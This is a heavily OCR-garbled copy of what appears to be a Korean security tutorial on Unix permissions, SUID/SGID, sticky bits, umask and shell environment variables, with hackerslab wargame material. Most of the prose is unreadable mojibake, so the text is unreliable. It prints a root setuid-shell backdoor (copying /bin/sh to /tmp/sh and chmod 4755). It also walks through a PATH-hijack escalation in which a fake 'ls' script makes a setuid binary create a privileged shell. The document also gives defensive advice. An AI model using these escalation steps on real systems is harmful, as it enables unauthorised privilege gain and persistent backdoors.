Z 2H(Hacker)7} F53loF & L2 Default AAolth 54 9 &z 3

nAolE BheT) e AZA 7 EAR

® 97| : AMEATE HAlE B S ¢s 7 JEF g

® 27| : AMEATE HAlE BdS WY 7 UAEF S

o 23 : AT WAlE LS HPA L F JEF g

$ 9} 7ol File permission & & #E|A}= AL}, 15 AFEAL, EE ANE
Zbell tiefA NEA o2, o], A7), Adstr] ATE = 5 Urh
Aol AAE gdEol e A ARSI 1 ARRAE S Lut

A T 5 A Ak Hde] 2fAE BE e A4gAE0] 1 ¥

Aol NA2T 5 G B FE JAW BE gire AidEe UBE
(defaul)® Y50 e ARl 71 UL 98 5 dE DR F

3, el AAE @ 49U ek
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YEEO A SHERE

o1 ool ALgAl sl A7l AR AR AS S 9A we

A o] g FE g Aok deEee) 39, 9y
3

tjo
o

o]
=1

O

S Ao s A9 Is(UNIX 9] A9)59
el &S & deS v
27 AL AFRA7E o] AAY YES FAT 5 QA )7

g ek 7] A fEEY U] A2 S AP AY
ey o fdesS AT & de AS vtk

H¢-7] A2 B2 =A 2 File permission & 23 7153 3dS o
3t User ==+ Group o s 213 = shell 2AHEZA A FPA]
2 =S srpeh Ak dYEe el g 43 Adto]l Ay s 4
o= AHEAF7E ed(change directory)™d o1& AHESiA 1 Y EL =

ol & i I yHEEY sl = FdES E4E F A "ok

o

T 37 GobE Ao® SUIDbits 2h= A fre 2 Al=gle] A3 A
2Elo] oo qpgoletal & = Atk fre s AILE2 V]RH o Akl
HAASHA ol xl Alz=glej ARt o e o & tha ARgAbe] gto] Ao
& uf Ag3E7] 9184 SUID Bhe RE=EE wEe] Fokth
oA AelHor wkEoXy] wel Eekde] AdE olv
rEo)zl Ao FHE frh SUID REE thE AbgAte] dg
= W ARk HAdshy] ffsiA siASel SJsiA el AHeE7
™, ] SUID 9] 7H¢ & £A H¥ SHERE AMES das
= A3 Ao

o

Ha A

(o3}
-

tlo
ke
ol

o

32

N

H

o

SUID + HH QW E29- =SUID o] Hojx 574 2822 AstS d&
T A Fh Y Al aEoA il SUID 2 A 2952

FE(root) AHEAE AfrFol B2 tF-Ee] SUID 21719 By QH
ZR29E 2 Al2" AV Fetd & dvE AL ovlsiAl "o

SUID 7} &2 A8 #d& AA=A Fo& Ay sixde ¢k dh

tlo
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2.2. File System

2.2.1.

File Permission 2| 0|3}

dvrz o7 e 9 A|AFE HA9 H¥EYE root Thal st /7
= FAZ T root o] Bfoll of 2 7FA] HE R 9} vl Eo] EA8HA Hh

File type 2.2+ ordinary file(¥ ¥+ 3} &), directory file(t] 2 &.2]), device
file(A| =8l #=¢} #AH 3Y), link file(Windows | A 2] vl= 7}17] 3
W A2 Ad ged) 5ol EA%T

zh gkl gk Hr e 10 709 AR O] Utk AS 1 Es

e Egu gpd o] 722 vEhaL, um A 9k Hejde] 3 srkE
UEt = HE2H, 3 HEH £dsto] & gHEE o] &38to] AMES|7tE

ﬁx% AR

O AN .

ole) = Unix o 713 AWMEe Is & ol gate] alF tHwule] thers
F8 welE Asfolt),

[o& 2.1] Is 2| siE CIEE2[ufo mel

1s —al

drwxr-xr-x 6 progroup 1024 Apr 22 13:30 ./
drwxr-xr-x 74 root 1536 Mar 24 12:51 ../
S eee= 1 progroup 188 Apr 13 15:53 .login
=E=——==== 1 progroup 6 Mar 24 11:29 .logout
=E=——==== 1 progroup 253 Apr 10 12:50 .xinitrc
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-rTW-Y--r-—-- 1 progroup 516 Apr 10 13:00 .twmrc

—rw-r—r-- 1 progroup 1600 Apr 22 10:59 test2.out

4714 7 Al WES Hn,

ul

[l 2.2] 2t & HE

drwxr-xr-x | 6 progroup | 1024 | Apr 22 13:30 | ./

@ | @ O | @ | ® | ®
AMA 29 . A< A%
THA A5 . 39U entries ] F
AAA A7 : owner

A 25 . 3 Abo]= (byte)

A AY  HE 4 9R A

oAAMA A" . 9dH

S

- 9

b : 2% 55 wa
€ 2 §7 34
d : dYgEg

1 42 9=
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[oIAl 2.4] permission 2| 2|0O]

il A B afA9 AT ARS Uiy
a§ AnA del 2% AAe A2 AL ek

AA (world) Hw]A

o e AgREY A2 AR Uepar)

Ha sloll el ool clzl £2]ol Ao ol

R gilel g 27| SEETIETE-

w milel g W iR 48 W (T AH)

X milel A Jts ALgRbel s clHEalzol oS

Aedng 3 Aude] Aus ved g TAe 2,

E 2-2file permission A&

File type(1bit)

User access

Group access

Other access

rwx

rwx

rwx

ool AHA HEE AT 9o HIES A Gsh= 4l A W

EE
HozM 8xg Atz S A s . &A= sds

Irw—r——r—

o

Fol uA, A 24 1R w4,

g3 v}

#%
F oha el aFel £k AR ohd e ®

w= ol
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W g2 el glvar @ w, ol A& olXFR(EE 7HIW 1, #tel 8l
= 49F o) XA,
110100100

o] ¥l I o|AS g3HIEHN 8XF=2 AW

110 | 100 | 100

6 | 4 | 4 ===> 644

b ek qw-r-r-2] EEHOE “64470] EH0] W} [ o]},

ol

gA 8 AR A8 ol AHe wrw @,

[ell A 2.5] permission o

YWXr—Xr—-x Q file permissiongl 73—?—,

Fo ool el 9 5 Jm, 4 A Adwe] Yok, AYBEE SR T

Foll dat std Aude o33 2ol 571 Ak,
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rlr
o,
=)
o
it
fr
to
t
1B
o
=
(m
rlr
=
-
He
-

|
\I
-

|
X
L
Y
o,
%
HN
n
u]
S
Rzt
il

olFA A o] Fdol I F A HuH2 7557} He Aol

v EE Sl golth

[oI&] 2.6] EF permission &t

3
i)

%49 el
v AbgRte] 9
A4 A3 el
A4 (A28 o UeEg

775 (drwxrwxr-x) : UHF A}8-219] T EE]

644 (—-rw—-r——r—-)

e

664 (—rw—rw—-r—-)

3y

755 (—rwxr—-xr—-x)

755 (drwxr-wr—x) : 4?5

A2g el A Bl At SEE FEAL AR ek AU AT} 9
7] 8ok, 27 BbE AAE FAE FoGAE 93 2 5 Ak £

Auk AL A FsE DS AW F glov] Ak AGATE A
T ¢ YES MAW AR MAL AAT WA AT 5 918)

Fr w2 5 el

o

_

p

AAARJA AR A5, b2 AbEECIA F7hskaL AA B2 AR

= S B 4R dearas 27 ik 42 59 v9e o

il

war
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2.2.2.

2~ glof & Aola, 7y A9 3dEL yoo HuAHSl HHEY

Z=o] glojof i},
Permission H3Z

chmod

M ARRALS 98 Hrds sdolu HEEee HdAEr] T 39
Hul A v, chmod %ol E of&alloF ofar, 21 9A o] AfF7

U A olofof skt A1 H file ¥} directory ] permission < mode
of we} WMA3sH mode = Aul4 T V|T 2 F7|%kt) 3 7te] tig 4
e ME2 84E AHESH x = o olX 77X 9] seAboltt. 7]l 9
g A2 715st 2AE AREStE Ao ®, 97|l who = AHEAL, L
5, Bt AFEALE st 171 o]/de] Akl operator permission 2]
SdS FASE +-= 7|35 9 dboltd. 18] 3l permission

permission ¢ 3 72|71+ 170 o] Aot

o =1 o g
u AP Xbol| CHsE 57}
g O=2 M=ol ek 57t
7t
o] 1 gto| J|E}
a B (F AMEXRL a5, 71ED
- O| HolMdES HhE
FAS + of Ho|Mg F7}
= O Ho|MI SSIEE A
r 27| 7t
oo|M
w M| Tt=
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YEECH AT SEXtRE

= ‘?’l H=E 9_| |:||
X ddts
EEE'—% ‘A IgoH’tllEjl. A-IK‘lElO-I 9}!% I EE—"“I’ r’-l-oEIO‘" %'30”
X

EE'—

s Setuid == setgid £

MY+t —stagt e

ol
=]

[alz

t Sticky HIE M X

d Directory

b =5 gHie E5 oty
afol
C =At e £ ot
- Rl griael
Ex)
chmod a-x file : AA ] g AP35 HAi.
chmod 444 file : AAol diaiA ¢}7] & 3§
chmod go+rw file : WY& IFIY BE AL&A dig] ¢l7]ef 27| & 5 &.
chmod 606 file : H4E IFI BE AREA ] 3l 879 2715 3&.
chmod +x file : AM&R}, 1w, EE AREXAoAl A 3 &
chmod o+rw file : BE AL&AbolAl 917], 227] 3L
chmod g+r,o+r file: I3, RE A& A 7] 3&.

chown(change owner)

go] AfAA WA 9D AFAAE HAT o AR,
S g2 2gdxe Az npAY, g2 Alexte] e
' FALste] ARl A E whEaz & o

9] AFEA} ID B3 password file o] &= =19l HH
& = 9l

A21e)
Aa1e)

o]-& ¥t} owner & 10 A
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2.2.3.

SUID 2 SGID 2| 0|3l

chmod(CHange MODe)+
o] Q.

[100110100000]

a3 2-1 o 2=

71 A HE 12 SUID HIE, th3 02 SGID H|E, th 02 sticky
H Eolt}h, zgjal, ywA= 9o 7|3 =, &7, 2, 71 dgkl
gk Aot

SUID(setuid)

setuid (set-user identification) @t FY 2 A| AElo|A] Ao AG27}
root 18] B} AFEA7F 1 B S AREEfoF F w7} 3lS W Abgste A
olt}, d& E°] passwd IS B A&FA7F root o] 3L AFE T1E©] sys
oltt. Z1¥ldl root 7} obd ©E AREATL o] HAS HAIYAA HAEE
HhE 3l

ﬂll

o1 AL Ak ALgATL ol H(passwd) THIE MW Hgol 1 ol
A f A root)e] Ao AW AZTIE A
o] Euh AR BASE 542 s qEd, oleld AHE

setuid 2+ 3t} setuid & FE2 user F-iE 9 Hu| Ao "s"® FEA|

Jo

st

.

[GIA 2.7] SUID 4M
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#1s -al

*

-r-sr-sr-x 3 root sys 99824 19994 99¥ 9% /etc/passwd

*

SUID(Set User ID)H| E= ARF ARE27} 95 AP A5 dntdow
FHoE dHe g AFEA ID 7F ZRA 2] AR ID(ZRAAE
2eg Agh)7h €tk SUID HIEE AAE F9 rrh AdstE 3d &

Ao AbgA} ID A 20 A ALgA IDE .

O

oA NiEe YoM %Y ARAT ABHA gow FYHoR

AElEA] o= Tz aaS Atz At 5= A "ok = R
ARoR 3 2fAe] ERS A4S F A HE FHolth

SGID(setgid)

SGID(Set Group ID)H| E+= 3t¥ 9] 15 ID 7} A8 Z2AA 9 15 ID

7} ®lv ek SUID 9F #t} &, setgid & "7 R A f-T15ol #a)
o setuid ¢F & 54 Fost= Aol

4 et} 398 g 129 AFeAT} AS1Ee] AES Ady=
EQNk 2 Han Ado] FREW g Hojx= 5EAES 7EXIT @b

T A setgid Aol AAH HAEANA A BY AL

[ol&] 2.8] SGID MM

1ls —-al
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-r-x--s--x 1 bin mail 67008 3% 9% 06:57 /bin/mail

*

Sticky bit

AA HEEU(/tmp), & HHEL(/var/mai)el B U= A=
S obfu X o, ekt EA|7F A Blo) T, Sticky bit #he]l AAH
e e = AR ARlo] A RE spdvt AAg o= 9lar, thE A

SA7E AR 92 Ale 71 glth sticky bit = 54 HHEY <o

b

HdE Hodtes AR AR = 9l
ol#fle} o] Stickybit = 7]E} AFE2F Ao "t vlAE H7} Al7]a 9

=3
[el &l 2.9] Sticky bit

1ls —-al

drwxrwxrwt 7 sys sys 583 6 ¥ 28 ¢ 11:20 /tmp

Sticky H|E+= THE2 ™ 9] sticky W E7} MEEo] 9lod 3 AfAt
S} Aol 27 A THAA drk dE E°] /tmp HYEY 9}
2ol B AFRAE o] ot HEED Y sticky HIES AEsHE 58§

e e o]l ARt Bl Al AHAlH A e 3d e 7HA
g e oo sticky HIEZF AlEHC] & we A48 $5 Fo= v
25 ehA & "rh(=okE gl BE). ofFA Hd vadl A

o] 1k Wiz,
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Ho|M S Default dE22 =|&2|7|

MEEO AR SRR

Y E unix system < file S Al 20] A& w] default permission atS

setting ¢C}. umask H#H ol = 7Y A Al permission & TG dhi= H o]

ot

E 2-4 permission &g

Octal binary perms octal binary perms

0 000 rwx 4 100 -WX
1 001 Rw- 5 101 -W-
2 010 r-x 6 110 --X
3 011 r-- 7 111

2.2.4.

ex>umask 027

owner A= EE permission & FU}.

group A= 227 F7HHEE FHA 3}
other o Al= BE 7RSS 54 &=

d] SETUID, SETGID >~ =71

set user id : 74 IDE AHA

setuid (SUID)

setgid (SGID) = set group id : I% IDE AA

= getuid root &} s Z=EZ o] A& ID 7} F7°]E root &= A4
IDE sld Z2ao] Afsrs HAsh

s et gk o s A9E 1)

Aolt. F9 AAs] A<




MEEO AF 3

>

=

O% IDVF L AgEE TEAAS gyFoRE £ d R f4
ID, 1% ID ¢ dX|stA Hr}.

SHele] ARATE Qe Abg Al AubAbg ALY ATow AR L s

A7k wEold FEO Ao AgHche otk F o}F delst,
27 olobrlelth, e of| B AAsy] g U =

i)
4
Ll
(L
o
:(’)1:'1
o
o
ok
i<}
o
oX,
s
30,
i
AN
[kl
i
g
1m
09;1
ol
ed)
N
do
o
>
O

<7
A8

wdo] Reg dAsks Hels e REZF vk AA = set-user-id
bit, =7 set-group-id bit 7} ZZA o]t} & E°] passwd 2= SETUID
HEols s B rahu A7) A9 =E o] MEE Fsto] nhE
T Atk 2y o] WHEHS st flslA+ /ete/passwd Y
etc/shadow 53} 72 wdo] #H23te] WAEE= AgS 7] SeoF At

N
M

T @ 9L a7 AsAE FESF slejok @tk %, 1 ¥He
sk B FEIL HA S Aotk waAW Awk F47k A7)
g =g e @ we] T TRAsE RES ATOR HYs|ojopit

ThE Aotk AA mpraAl sk Abe duk f-A A HE ol

Jo

[oll A 2.10] &2 ol&

$ 1s -al /bin/passwd
—rwsr-xr-x 2 root bin 512 Jan 11 1997 passwd
$ 1s -al /etc/passwd

-rw-r--r—-- 2 root root 20512 Nov 20 01:31 passwd

/bin/passwd I 2] Hu|A S 2pAM|E] AHREE §A4 s FiE "s"gh
= Huldo] BRIt o]FA FdHnd F "s"7F 2 JAdHHAHE Set-




uid bit 2} shH, o]t FAEL Hdo LFAT} oty E 1 HdS
A Foll gdafAre] A A dEA He RS nsnh
kA Jete/passwd © LRER-A 3t Hm| o] "7 BE7F SHA H o9l
ox H gdo] suid & ooz AFAe] AdH(root AIHOZ ¢ I}

gedo] EAEta 1 HdS AYAT

T S RJIEHES AEV ASS A AT A "Jokd, 1 9Y

o] AfrAbe] ek ZHA Ha o] e ZS Effective User ID 2Fal 3},
etoll FAdafAre] JEE wpl ALY oW ofe]] 1 A&f2te] shell

ol vte suid & o] &3 a7 o]t

M

il
]
Jn
ok
>
9,
X
)
v
o
i)
ot
o%

i

$ chmod 4755 [HYUo]E]

“TWST=XE=X v vene eun ... [Fdo]E
4775 % 755 A rwx", AE"r-x", dErHAr-x"S on| 3},
wab eko] 4 7} BEE suid bit & AAdE H

12 sgid 9 A$E 2 & AHgstd "o,

$ chmod 2755 [HYo]E]

“TWXE=ST=X +vr vnvne vnun o.. [FLo]E]

ole 3t A& olgste] T Al LHol FEIF H= W] ARSE AT
= 319 RE setuid 2AHEE AAste] AMESHYE ghth giEA o=
lpr, sendmail 52 B I1ZE o] &3 AEo] 9o, 7z} &9

O thefet A2 Edo] e ZaF 9y Qv Taafos A4

Is -1 /usr/bin/passwd 2}i= WHE F3s}H,
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b &e A3E e F ek passwd 2= BHE SUID 2 A4 H o Qe
passwd 2} T # o= AFEAF2] passowrd E HFE M Eojo|t}, o] W

2 Z33hd o] WEHo] WA AH5A(owner)e B3 = root o B3
o= F3o] o] Jete/passwd =2 /etc/shadow I} F o] 7153}
th. 5 SUID & #te] &fxte] Ago R Fde] 7hssi

!

t}& © &2 Is-1/usr/bin/netstat &= HHo| S S=3h3pA

-r-xr-sr-x 1 root kmem 84448 Jul 26 23:12 /usr/bin/netstat

A¥E A=t} netstat 2F= H#Ho]= SGID & AA = o] 9t

flo

g. yds
SGID &= SUID ¢} frAFshAl o] 3t 4 f-AF 15 (owner group)?] #gh
o= Aol Hr}, FY AlaH A=

o] 9= HWHolE5o] gt} FA|vk o]# SUID SGID ¢ FAlE o]&-3}¢]

e H5 she A9 gonw oy Ay s

B 715 SUID Y} SGID & AAH

583 permisson ¢t Zie 9dS Ztotw ] < w find

setuid, setgid 5
HEs 24 "
o]

find o] o] 45 (FA4, 135, 7IEAEAL o 371 T
| --perm ©]@F/AE o]&afA il 42 permission #h= ABs FH

- perm Option Description

e
i
il

U=IWS, g=rx, 0=rx user, group, other & Ho|M 2 LI
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- perm Option

Description

a=rws, g-w, o-w

2 g2 2t 224, Z2oA

stk
-u+s user permission ol A S 7} Z &=l
4000 oMoz Xt HACZE J|=96
E 2-6 setuid, setgid, sticky bit 2] X} EH
8 &l Permissions

4 setuid (s)

2 setgid (s)

1 sticky bit
[CIIA] 2.12] SUID / SUID / Sticky bit 2| of
SUID 9 o)
# find / -perm -u+s <-- setuid 7} AAE Fdn7]

/usr/lib/sendmail
/usr/bin/sparcv’/ps
/usr/bin/sparcv7/uptime
/usr/bin/sparcv’/w
/usr/bin/at
/usr/bin/atq
/usr/bin/atrm
/usr/bin/crontab
/usr/bin/eject
/usr/bin/fdformat
/usr/bin/passwd

/usr/bin/rcp
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A setuid & H7|YAA A A]28(&F Unix WY 2 A€ Linux 3%
shel A v 22 WS &ste] HE3] setuid 7F AP H = AS A

= Ak
[GI & 2.13] setuid &3

1) root & ®I%lste A& copy 3.

# cp /bin/sh /tmp/sh

2) HEALe A& suid pit 2 WA
# chmod 4755 /tmp/sh
# 1ls -1 /tmp/sh

—-rwsr—-xr-x root root 543234 June 19 11:49 sh

3) B2 3 T & Adut f-4=2 212l 3o},

4) A9 10 & gt

$ id

uid=501 (other) gid=501 (other)

$ whoami

other

> 91t A4 14 B Lol Aol o fAolEoR 233 Hol A

g Yotr= AAoln.

2,
o
L2
)
rot
v

5) copy 9F

$ /tmp/sh
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6) A9l 1D & Felgtt
$ id

uid =501 (other) gid=501 (other) euid=0 (root)

AL Hupol 2 HHA T A% gl ojd 3xle] 3l

[oIAl 2.14] ClHfo|A CIHER]

S id

uid =1002 (level2) gid=1002 (level2)

$ whoami

level?2

$ find /dev ?name ?perm -4000 -o -perm 22000
/dev/haha

(setuid HuE|A o] Q= T

o

AR, )

$ 1s ?al /dev/haha

-rwsr--—- 1 level3 level2 50052 Jun 18 20:33 /dev/haha --> haha
Zhe Tdo] suid 2 HoUth

$ /dev/haha

ls -al /var/tmp

total 2

drwxrwxrwt 2 root root 1024 Jul 20 11:44 ./
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>

=

drwxr-xr-x 19 root root 1024 Jun 25 18:34 ../

prw———----— 1 root root 0 Apr 1 04:38 taper00480eaa|
prw———----— 1 root root 0 Apr 1 04:39 taper00480faa]
prw———----— 1 root root 0 Apr 1 04:39 taper00480gaa|
prw———---- 1 root root 0 Apr 1 04:47 taper00620eaa|

(91714 haha 2= T2O3S AYPA7|H 1s 2al /var/tmp 2h= H=EHo] A
e AS &5 Uk, A A=2V) old AUAEZE Al2H UldA T2
g Qg Ae Adsht.)

$ cd /tmp

o

$ cat > 1ls << EOF

/bin/cp /bin/sh /tmp/sh

/bin/chmod 4755 /tmp/sh

EOF

$ chmod 755 /tmp/ls

$ 1s 2al /tmp/ls

—-rwxr-xr-x 1 level2 level2 47 Jul 26 16:00 /tmp/ls

(1s 2= 4 AAHES v vhaoiy A3/ 7H AL whs & A vk
=)

$ PATH=. :SPATH

$ export PATH ( 12|31 PATH 37dHSo &z fIEZ ./ & Y&
E

$ /dev/haha

$ 1ls ?al /tmp/sh

-rwsr-xr-x 1 level3 level3 377992 Jun 20 16:30 /tmp/sh

$ /tmp/sh

$ id

uid =1002 (level2) gid=1002 (level2) euid=1003 (levell)
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=
"Is"ehe WEolE AW Ate Al AAQtsto] o]Fo] e Is gk

g9 UL wE

rr

i

©,

©

1

)

R 3}

ol Al AR A t}¥E permission ©] EA3TE ZHzbe] T E ]9}

2
Sl Ee Byol AHgsHE e} ot Abgsta st BHo] a4

LAl E tE SdEo] EA4] b A" B A o]y e US4
5+ permission & 4&3] AATo N ¢ A3 WS FA g gl
t}.

& /Jetc/re.d/ HAEY = F& A AMESE= AlAEY] 4% HEE50]

i

g ~IHEEY initmode o] WE AHAAEo] Eojlt} old HEE

[s)

i

o=

A HE dnk ARAZE Aol & ol §lvh

gl o] fElEele] 3AE-L owner & root, permission & rwx------

(700)o. 2 AA x| ojo} & Folt}, o|x5] Al2~Hle] 7] permission & 1
&

Y o gk An A3

T2 A=) g AAES Fd2 FAHERE o] dg 44
v A AA 28 Bk wlg- Fo5kth. Z1efA SUID ¢ SGID # ¢
H T2 afEd A Bt 98 84o]7] wlito] AASHA 7HAIs ok
Elgiid=

® SUID/SGID & ARgAte] & " EelelA 227 & o] 7k A3 flrh

FE7Z} old bg& AEAEC] AEE & T =T, 277 g I
E] Aol i= /ete/fstab o nosuid S4S Holers 3
R

Qe ALgAe & shEldds, el A
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NFS & WA A 2EES ENIR st 452,
/etc/exports & Ho] FE=E Agtstes Aot EF ghrf o] 32 ¢

ArItes »x] =

}:

A, FE 7] AA2=E FeebA] e A
7FsstH ¢l7] dEe] Fd A ARRES FREES e 3E v
=3

AFEAFY] Tt A umask & 7Hs e AlgkE gto= x4 Sk
umask H#HJE A28 Fdo] whEold we] rkd 7| gke 4s)
7] f1efA AREE T umask ol = Aste = 9Y REo A A
(Octal Complement)S AF-&3tc}, whef 371 7|8 4S AH3HA| &
el otdo] FAE Al Fod, AFEAPE BB Abol st
ZHA QF H = bl Al 971, 227] sk e A 2 7 S

kA © 2 ymask S 022027, 183 AL A2 o077 So] 9
U} umask & LWF4 o2 Jete/profile ol 4 ZA T 1, A|AE] BE A}
|A A A48 Ak Fd B 73S gy oA dske FE W
W oyt oA] AYEtH, 777 2 umask #HS AT A 9ol A2

o) umask gE& o772 AAA 971, 271, AL FE7 4 chmod
NFS 5o MES A sdA =8-S v E i, Jete/exports & F4

A AAS AsS FEE st} HE nodev ¢ nosuid & 2= o]

>

H}2} 2] 8131, noexec 7HA| = 18 st Ao Et)
718 kel "4k (unlimited)"o] obyd o g wpAA|A®lo] 7] H )
S Agtstth. A A PAM 53} Jetec/pam.d/limits.comf & A&
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gomA Apga 4z AldAE 24T 5 vk dE 59, users

dEe AR ARE vsd 2k

Qusers hard core 0
Qusers hard nproc 50
Qusers hard rss 5000

= o] Af 3o] o] WS T, TRA LS FE 50 0%
Ag &b, AR & A & Hl e ARES sM 2 AISeHS
gkt

® /var/log/wtmp ¢} /var/rin/utmp L5 Al=H EE AFEARe] A

& 7155 7HA A vk ol&2 AREAE (52 AR AATH A,

U Alzgell Solst=7tE 2AMSH] A% A ARG EER o] 3t

2

Q5o wobwt WA AAS fAslojobwt Ak, AurH Ax 2
Fol JFS T A7 NES F7 B0l 644 FHAL AT

Aefofk gt}
o wiEHojolt gl FAES AFE A¢AY HrE 497t gES

3l7] 91314 immutable bit & A&t} S o] WL o,

Jetc/passwd U} /etc/shadow & Z el o] X7l &= AEY

98 et AL R A,

- A

o] TRIAYEE o5 AGHE ASAENA 58 AFS Yol

o
X
o
off
o
rir
o)
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root# find /home -name .rhosts -print

B A28 Q9] 88 A ww, oj| wo] B 2

o
jur]
=
—+
N
2l
2
K=
e
2
£
2
i)
=
BE
N
N
i
flo
N
XN
)
Kl
%0
rr
)
e
M
Ju
%

oF gt

2.5. &1 X7

e Hrelt] v E<] =, http://kmh.yeungnam-c.ac.kr

® 3ol AHHIAE, www.certcc.or.kr/advisory/ka2o000/ka2000-

o ddigtn HH F2 54531 4H, http://ciscom.chonnam.ac.kr

® <73 -f# Fg]o}, http://www.superuser.co.kr
® 3&j| 7 2~5, http://www.hackerslab.org

® 314 =31 http://hwaseong.ms.kr
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MEBOH ALF SRR

3.1.1.

ztd sHd 3l stAdHS(Environment Variable)

giRe] Zeage] A @ wol Aas AgAe BAUFE o]
Sold QAL s HEd, oyl MAEe) g HFMEs} Boby BA

7} 9 A%, o8 olgstel B ALY Aol Tbssit.

k] 34 Al 2~Eo login AL THE shell & A 3E winitl o]y
Al et o] 72 login 3FAY shell o] Al2tE o] 5o 2 A5 ¢l
A= 2718 504 Fojd E= AAEY. a8 34 HyEe 7

B mgAszRE s

gl ta) dotmr] el 71k A4 Q1 (shel)el] o] Fopr At
2 (Shell)

4 (shell)0|2t?

Unix 2 7 A9 A|A"EE A28 Ao 9)o] = A "Shell"?} "Kernel"
a2]al 2 A &Ee ALEE = "oj &g Aol AR ro Y O F

"Kernel"& A28l o] el glo] Aol = FAHLAE oy

oF 3H= "Shell'oldt AF| "Bl H47"E 3}

Eige )

12
st
tlo

"Command.com"¥} #Z-&
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a9tk o) shell o] FRTA? HEASA ATl A 22te] ALSAE
o 74zpe] A Aol Wi shell 3 £%3HA Gk TeuE B AR

Ake) shell & D53pA W B ALgate] Aok HHS 2 B 5 A

Shell & A}-g2ks} Unix Al2=8le] j4ngozy st=gojer 4o

AZAE o] 9= Kernel 3¢ AT IS st Aoz AL o

HS Jthgs AR TZIEE 7 TEla AFEA) HEol2 el
gk

H 1715 Kernel ©] 148 4= Q=5 d|Mste] dEsths H

Shell & C ¢o]& A E o] 9lom AR} xpilo] Q=2 3+ Shell &
A

324 <l Shell & Bourne Shell(sh, &3 E:$), C Shell(csh, & E:%),

Korn Shell(ksh, X &3 E:$) 5o] o™ AR ALEA}2] LTEIXZEA set

¢ env ¥HOoR WA A8k Shell & W & gtk

=

® sh : Stephen Bourne ©] 7= A2 RE A|AEH] 5ol 7] E 4,

® csh : shHrt} 7]5o] BAH BillJoy 7} W= 4

® ksh : sh BT 7|59 BH7¥ David Korn ©] THE 4

® bash: 7|2# 0% SO A= FL A2nE Tt A4le] A2 E oA
i

Akl shelof 8

2} shell ©] A== 5 b2 shell & thA] A FAA A}
ZkAb o] g ARk AR SO RN AREALY] WY E Aol AlZITH
7y S8 2 3ol utility 52 shell o] 93l Al =% process 7} A4+
o](UNIX ¢] 2 program < R process 7} M2 WA ¥ t}) Ago] F
m Ab&Ah= shell & £3) o] $&T R Mot utility & Aloj3 = ek
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AREA7E 22 ¥R (utility, program )& A7) ] el A=
& process 7} A =™ 39] processid (PID)E H-of W=t A 2§
process += shell & F3 2138 AYPA|7|7]%= 3t 24 kernel & &
g 23S Adsr|E gl o] kernel & &3 H AN TR
AL AA "HFHE AR e JidolBRE vE AL file o)L}
AH, 4 HE 3o AHEAR

& 3% AT 2 A4 1] AA99e wFAs] A AR

o

—

A

L
o
=2
0%
sk
H
%2
o
v

o
N
X

’

( permission) 2] 7ido] At} o] A3 permission ) filesystem ¥ RF o}

Yz} AR} process ol 7FA] A A o] o gl

do| 7|s

.87 AFEHZ ou AL 317 Y E A LA WA AY
oA FoL & Gtz 2L ok st ey o] Haks wig- B33t
Al oo wEbd 7k els HEoE sAste] Adel Al ddatar
O ABRE OA AR A BolFE, S AGT AFER Abo] 2 "E )"

doleti= 7o) Jofgreld] o= "R A el oA e FoAE 7
AT, EATE A3 2k ARG A AHERRE AY 21§ o
%71 Rl v ol

=
2xle] ek ez A Zradqys oA B 45l

o] sl Qe ArAow AeAe] FHols dasle] Aol Adal
= 34\ 9401], /\]’%X]'7]' ﬂ]z—}@' @1-75]0]]}\1 X_}-Cﬁ% —5—]_‘1}—_% Z=n ]OH .%_,E_ ] 3}]\
o olejel® T 2 A wold § Fr)

® A& A|~H (Time-sharing system)

o FHHES AR 94
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3.1.2.

MEEO AR SRR

Ao A ThEAF = FAQ FAMS s Lolr A}

A E o A AREAE Aol S dhtl o] o ke AeS Frh ojE
gok=rtell wheba fAo] AaA 7] wolth A2 Zraey 1ojA

H W ARG 4F Alage] A ES Ja e o] MeEs

VAbERel B S PEE Wast ok EE ol: AL Ault thedh
4o DRSS ol ate] od FWES WP WL AL Wl
oulshs AW "ghol Mak Frolrt

onl
e
i
rir
o,
o

N

148 o]8e Uepdr) 4o 31
1], o] B el ALEAE A vEl Aol BPEE| U,

o

29 Felt o WA g FEsel 1 YL veldt AEel 9
th AHEA QIgAIA B o] Aol ke uhe] FoRM A7 Ash

=z A7 A s Teade) 45e 248 4 3
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el
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T

5

Soje A ool

T
a

)

g Ao WA, 4ol

=
=

AHEATY A oG W

Jehde.,

[Ol&] 3.1] env HE Al

[prosyh@hackerslab test]$ env

/prosyh/team

HOME=

=team

LOGNAME

/priv/team/teamadmin

PWD=

TERM=iterm

USER=team

ﬁo
B

3

o} 7]4] HOME, LOGNAME, TERM, USER & 4.

HRW v gk

bel 2

S

of o

1

A&
L=

ﬁo
a
g

o
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v
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e

I

USER

HOME

SHELL

MAIL

PATH

=

TERM

] =
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: T
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< ®
|\r_w =3 S
7ol Il IS
- | <
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i <R lof
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By
a

gl

<

T

)

04
Klo

® HOME ¥

3i

ols

t}. HOME ¥4 =2

&

A4

=
=

g HgEgE o
o] tJe¥ &g /usr/local/hackers & ©]%&3le™ T}

SES BT B

o

=
=

3

(e}

o0
= =

=

= =
=

$ cd /usr/local/hackers

U Ee 2 5Eolslel ¥ HOME

e
=1

1,

Ll e

—_
fite)

w99

cd

il

A

—- @
@

$ grep $number /usr/prosyh/sales/textdata.0l

$ grep S$number SHOME/sales/textdata.0l

3} e olf2 D3

S
=]

2ey o

i

1 H

N
‘o

o
N
mo
‘mo
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- $HOME & @4 WHE A8 59 Ao & tH9EgE 14
322, $HOME
- WFE ARRSte] RS 99t vE Abe R Y "HE S Al
&3 4 Sl
® PATH W<

- PATH W5 4lo] ule wagi tuges Ydai, 48

degesl ydus $A% Oeeds gaa.
PATH=/bin:/usr/bin:/home/bin: .

S e, dEE Y R EE e AEHE A "o S
th WA fEEe] /bin oA F

=t 23A dY BEE S e, deer A2 4
2] Jusr/bin oA etk 2] a3 tE E2 /home/bin

, I g e 2 Ao ®A}F Holgld o] Ae AA v

o

» o E EW date = WHAE AW AL WA /bin oA Fe=

date o] 1ol §7] wlFel AL Jusr/bin & ZAbete]
BEs 3 "o

WA Jusr/bin ol 3= date WHS APsHA el
= OHEE AL W@ 2 olFE AL

oo} g},

= W =2E dad 3w AREETh MAIL Wl = ARk A
AR WAfste Hde] olFe] ol stk ARgAbel Wi WY
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=2
X
2,
40,
)
=
)

,
o,
k1
B
)
o
o
o
N
ol
rir
[kl
il
I
%
o,
pasd
lo
EE“

g T2 MAIL ¥t ddd RdS Hdsh doh

= S$MAIL o] A=Y, wdo] =238 spdgo] A xojof g}

* S$MAILPATH 7} A AW, ()2 Z2d Wi 349 g=E
olojof &t

= ol WS WY TEIFo] E-Mail & oftjo] Folok A E

